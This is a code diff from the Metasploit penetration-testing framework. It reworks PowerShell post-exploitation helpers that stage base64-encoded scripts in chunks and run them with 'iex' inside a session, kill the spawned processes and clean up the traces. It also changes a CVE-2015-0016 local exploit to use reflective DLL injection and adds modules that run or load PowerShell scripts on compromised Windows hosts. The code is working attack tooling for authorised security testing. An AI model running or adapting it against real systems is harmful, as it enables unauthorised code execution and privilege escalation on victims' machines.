Rex::ThreadSafe.sleep(3) # Let PS start child procs
running_pids = get_ps_pids(running_pids)
end
# Add to list of running processes
running_pids << cmd_out.pid
# All pids start here, so store them in a class variable
(@session_pids += running_pids).uniq!
# Add to list of open channels
open_channels << cmd_out
return [cmd_out, running_pids, open_channels]
return [cmd_out, running_pids.uniq, open_channels]
end
#
# Powershell scripts that are longer than 8000 bytes are split into 8000
# 8000 byte chunks and stored as environment variables. A new powershell
# byte chunks and stored as CMD environment variables. A new powershell
# script is built that will reassemble the chunks and execute the script.
# Returns the reassembly script.
#
def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
# Check to ensure script is encoded and compressed
if compressed_script =~ /\s|\.|\;/
@ -159,12 +112,11 @@ module Powershell
set_env_variable += "'#{chunk}', 'User')"
# Compress and encode the set command
encoded_stager = compress_script(set_env_variable)
encoded_stager = encode_script(compress_script(set_env_variable))
# Stage the payload
print_good(" - Bytes remaining: #{compressed_script.size - index}")
execute_script(encoded_stager)
cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
# Increment index
index += count
@ -178,57 +130,166 @@ module Powershell
reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
# Compress and encode the reassemble command
encoded_script = compress_script(reassemble_command)
encoded_script = encode_script(compress_script(reassemble_command))
return encoded_script
end
#
# Log the results of the powershell script
# Uploads a script into a Powershell session via memory (Powershell session types only).
# If the script is larger than 15000 bytes the script will be uploaded in a staged approach
#
def write_to_log(cmd_out, log_file, eof)
# Open log file for writing
fd = ::File.new(log_file, 'w+')
def stage_psh_env(script)
begin
ps_script = read_script(script)
encoded_expression = encode_script(ps_script)
cleanup_commands = []
# Add entropy to script variable names
script_var = ps_script.rig.generate(4)
decscript = ps_script.rig.generate(4)
scriptby = ps_script.rig.generate(4)
scriptbybase = ps_script.rig.generate(4)
scriptbybasefull = ps_script.rig.generate(4)
# Read output until eof and write to log
while (line = cmd_out.channel.read())
if (encoded_expression.size > 14999)
print_error("Script size: #{encoded_expression.size} This script requires a stager")
arr = encoded_expression.chars.each_slice(14999).map(&:join)
print_good("Loading " + arr.count.to_s + " chunks into the stager.")
vararray = []
arr.each_with_index do |slice, index|
variable = ps_script.rig.generate(5)
vararray << variable
indexval = index+1
vprint_good("Loaded stage:#{indexval}")
session.shell_command("$#{variable} = \"#{slice}\"")
cleanup_commands << "Remove-Variable #{variable} -EA 0"
end
linkvars = ''
for var in vararray
linkvars = linkvars + " + $" + var
end
linkvars.slice!(0..2)
session.shell_command("$#{script_var} = #{linkvars}")
else
print_good("Script size: #{encoded_expression.size}")
session.shell_command("$#{script_var} = \"#{encoded_expression}\"")
end
session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))")
session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")")
session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ")
session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))")
session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex")
print_good("Module loaded")
unless cleanup_commands.empty?
vprint_good("Cleaning up #{cleanup_commands.count} stager variables")
session.shell_command("#{cleanup_commands.join(';')}")
end
rescue Errno::EISDIR => e
vprint_error("Unable to upload script: #{e.message}")
end
end
#
# Reads output of the command channel and empties the buffer.
# Will optionally log command output to disk.
#
def get_ps_output(cmd_out, eof, read_wait = 5)
results = ''
if datastore['Powershell::Post::log_output']
# Get target's computer name
computer_name = session.sys.config.sysinfo['Computer']
# Create unique log directory
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
::FileUtils.mkdir_p(log_dir)
# Define log filename
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
log_file = ::File.join(log_dir,"#{time_stamp}.txt")
# Open log file for writing
fd = ::File.new(log_file, 'w+')
end
# Read output until eof or nil return output and write to log
while (1)
line = ::Timeout.timeout(read_wait) {
cmd_out.channel.read
} rescue nil
break if line.nil?
if (line.sub!(/#{eof}/, ''))
fd.write(line)
vprint_good("\t#{line}")
cmd_out.channel.close()
results << line
fd.write(line) if fd
#vprint_good("\t#{line}")
break
end
fd.write(line)
vprint_good("\t#{line}")
results << line
fd.write(line) if fd
#vprint_status("\n#{line}")
end
# Close log file
fd.close()
# cmd_out.channel.close()
fd.close() if fd
return
return results
#
# Incremental read method - NOT USED
#
# read_data = ''
# segment = 2**16
# # Read incrementally smaller blocks after each failure/timeout
# while segment > 0 do
# begin
# read_data << ::Timeout.timeout(read_wait) {
# cmd_out.channel.read(segment)
# }
# rescue
# segment = segment/2
# end
# end
end
#
# Clean up powershell script including process and chunks stored in environment variables
#
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
def clean_up(
script_file = nil,
eof = '',
running_pids =[],
open_channels = [],
env_suffix = Rex::Text.rand_text_alpha(8),
delete = false
)
# Remove environment variables
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
env_del_command += "Select-String #{env_suffix}|%{"
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
script = compress_script(env_del_command, eof)
cmd_out, running_pids, open_channels = *execute_script(script)
write_to_log(cmd_out, "/dev/null", eof)
# Kill running processes
running_pids.each() do |pid|
session.sys.process.kill(pid)
script = compress_script(env_del_command, eof)
cmd_out, new_running_pids, new_open_channels = execute_script(script)
get_ps_output(cmd_out, eof)
# Kill running processes, should mutex this...
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
(running_pids + new_running_pids).uniq.each do |pid|
begin
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
session.sys.process.kill(pid)
end
@session_pids.delete(pid)
rescue Rex::Post::Meterpreter::RequestError => e
print_error "Failed to kill #{pid} due to #{e}"
end
end
# Close open channels
open_channels.each() do |chan|
chan.channel.close()
(open_channels + new_open_channels).uniq.each do |chan|
chan.channel.close
end
::File.delete(script_file) if (script_file and delete)
@ -236,8 +297,56 @@ module Powershell
return
end
end
end
end
end
# Simple script execution wrapper, performs all steps
# required to execute a string of powershell.
# This method will try to kill all powershell.exe PIDs
# which appeared during its execution, set greedy_kill
# to false if this is not desired.
#
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
# Define vars
eof = Rex::Text.rand_text_alpha(8)
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
env_suffix = Rex::Text.rand_text_alpha(8)
script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code)
# Check to ensure base64 encoding - regex format and content length division
unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0
script = encode_script(compress_script(script.to_s, eof),eof)
end
if datastore['Powershell::Post::dry_run']
return "powershell -EncodedCommand #{script}"
else
# Check 8k cmd buffer limit, stage if needed
if (script.size > 8100)
vprint_error("Compressed size: #{script.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
vprint_error(error_msg)
vprint_good('Launching stager:')
script = stage_cmd_env(script, env_suffix)
print_good("Payload successfully staged.")
else
print_good("Compressed size: #{script.size}")
end
vprint_good("Final command #{script}")
# Execute the script, get the output, and kill the resulting PIDs
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
if datastore['Powershell::Post::timeout'].to_i < 0
out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed"
# print_error out
return out
end
ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout'])
# Kill off the resulting processes if needed
if ps_cleanup
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
end
return ps_output
end
end
end
end
end
end

View File

@ -839,7 +839,7 @@ module Net # :nodoc:
if name.include? "."
@logger.debug "Search(#{name},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})"
ans = query(name,type,cls)
return ans if ans.header.anCount > 0
return ans if ans && ans.header && ans.header.anCount > 0
end
# If the name doesn't end in a dot then apply the search list.
@ -848,7 +848,7 @@ module Net # :nodoc:
newname = name + "." + domain
@logger.debug "Search(#{newname},#{Net::DNS::RR::Types.new(type)},#{Net::DNS::RR::Classes.new(cls)})"
ans = query(newname,type,cls)
return ans if ans.header.anCount > 0
return ans if ans && ans.header && ans.header.anCount > 0
end
end

View File

@ -13,7 +13,7 @@ require 'rex/powershell/command'
module Rex
module Powershell
#
# Reads script into a PowershellScript
# Reads script into a Powershell::Script
#
# @param script_path [String] Path to the Script File
#

View File

@ -15,14 +15,14 @@ module Command
# @option opts [Bool] :sub_funcs Substitute function names
#
# @return [String] Encoded script
def self.encode_script(script_in, opts={})
def self.encode_script(script_in, eof=nil, opts={})
# Build script object
psh = Rex::Powershell::Script.new(script_in)
psh.strip_comments if opts[:strip_comments]
psh.strip_whitespace if opts[:strip_whitespace]
psh.sub_vars if opts[:sub_vars]
psh.sub_funcs if opts[:sub_funcs]
psh.encode_code
psh.encode_code(eof)
end
#

View File

@ -52,7 +52,7 @@ module Powershell
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression = "$s=New-Object IO.MemoryStream(,"
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Read & delete the first two bytes due to incompatibility with MS
psh_expression << '$s.ReadByte();'
@ -75,10 +75,18 @@ module Powershell
# Return Base64 encoded powershell code
#
# @return [String] Base64 encoded powershell code
def encode_code
def encode_code(eof = nil)
@code = Rex::Text.encode_base64(Rex::Text.to_unicode(code))
end
#
# Return ASCII powershell code from base64/unicode
#
# @return [String] ASCII powershell code
def decode_code
@code = Rex::Text.to_ascii(Rex::Text.decode_base64(code))
end
#
# Return a gzip compressed powershell code wrapped in decoder stub
#
@ -95,7 +103,7 @@ module Powershell
# Build the powershell expression
# Decode base64 encoded command and create a stream object
psh_expression = '$s=New-Object IO.MemoryStream(,'
psh_expression = "$s=New-Object IO.MemoryStream(,"
psh_expression << "[Convert]::FromBase64String('#{encoded_stream}'));"
# Uncompress and invoke the expression (execute)
psh_expression << 'IEX (New-Object IO.StreamReader('

View File

@ -18,7 +18,7 @@ module Powershell
# eval %Q|def_delegators :@code, :#{::String.instance_methods[0..(String.instance_methods.index(:class)-1)].join(', :')}|
def_delegators :@code, :each_line, :strip, :chars, :intern, :chr, :casecmp, :ascii_only?, :<, :tr_s,
:!=, :capitalize!, :ljust, :to_r, :sum, :private_methods, :gsub, :dump, :match, :to_sym,
:enum_for, :display, :tr_s!, :freeze, :gsub, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:enum_for, :display, :tr_s!, :freeze, :gsub!, :split, :rindex, :<<, :<=>, :+, :lstrip!,
:encoding, :start_with?, :swapcase, :lstrip!, :encoding, :start_with?, :swapcase,
:each_byte, :lstrip, :codepoints, :insert, :getbyte, :swapcase!, :delete, :rjust, :>=,
:!, :count, :slice, :clone, :chop!, :prepend, :succ!, :upcase, :include?, :frozen?,

View File

@ -85,10 +85,11 @@ class Metasploit3 < Msf::Auxiliary
vprint_status "#{hostport} Oracle - Refused '#{sid}'"
return :fail
end
disconnect
rescue ::Rex::ConnectionError, ::Errno::EPIPE
print_error("#{hostport} Oracle - unable to connect to a TNS listener")
return :abort
ensure
disconnect
end
end

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Local
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::Powershell
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
@ -112,17 +113,14 @@ class Metasploit3 < Msf::Exploit::Local
session.railgun.kernel32.SetEnvironmentVariableA('PSHCMD', cmd)
print_status('Exploiting...')
temp = get_env('TEMP')
# Using the old meterpreter loader, if it's loaded with
# Reflective DLL Injection the exceptions in the sandbox
# policy won't apply.
session.core.load_library(
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll'),
'TargetFilePath' => temp + '\\cve-2015-0016.dll',
'UploadLibrary' => true,
'Extension' => false,
'SaveToDisk' => false
)
process = client.sys.process.open
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0016', 'cve-2015-0016.dll')
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset)
end
def cleanup

View File

@ -0,0 +1,57 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/post/windows/powershell'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Windows Powershell Execution Post Module",
'Description' => %q{
This module will execute a powershell script in a meterpreter session.
The user may also enter text substitutions to be made in memory before execution.
Setting VERBOSE to true will output both the script prior to execution and the results.
},
'License' => MSF_LICENSE,
'Platform' => ['windows'],
'SessionTypes' => ['meterpreter'],
'Author' => [
'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
'RageLtMan' # post module and libs
]
))
register_options(
[
OptString.new( 'SCRIPT', [true, 'Path to the local PS script or command string to execute' ]),
], self.class)
register_advanced_options(
[
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
], self.class)
end
def run
# Make sure we meet the requirements before running the script, note no need to return
# unless error
raise "Powershell not available" if ! have_powershell?
# Preprocess the Powershell::Script object with substitions from Exploit::Powershell
script = make_subs(read_script(datstore['SCRIPT']),process_subs(datstore['SUBSTITUTIONS']))
# Execute in session
print_status psh_exec(script)
print_good('Finished!')
end
end

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Post
register_options(
[
OptPath.new( 'SCRIPT', [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
OptPath.new( 'SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
], self.class)
register_advanced_options(

View File

@ -0,0 +1,48 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Powershell
def initialize(info={})
super(update_info(info,
'Name' => "Load Scripts Into PowerShell Session",
'Description' => %q{
This module will download and execute one or more PowerShell script
s over a present powershell session.
Setting VERBOSE to true will show the stager results.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['powershell'],
'Author' => [
'Ben Turner benpturner[at]yahoo.com',
'Dave Hardy davehardy20[at]gmail.com'
]
))
register_options(
[
OptPath.new( 'SCRIPT', [false, 'Path to the local PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
OptPath.new( 'FOLDER', [false, 'Path to a local folder of PS scripts'])
], self.class)
end
def run
if datastore['SCRIPT']
stage_psh_env(datastore['SCRIPT'])
end
if datastore['FOLDER']
files = ::Dir.entries(datastore['FOLDER'])
files.reject! { |u| %w(. ..).include?(u) }
files.each do |script| stage_psh_env(datastore['FOLDER'] + script) end
end
end
end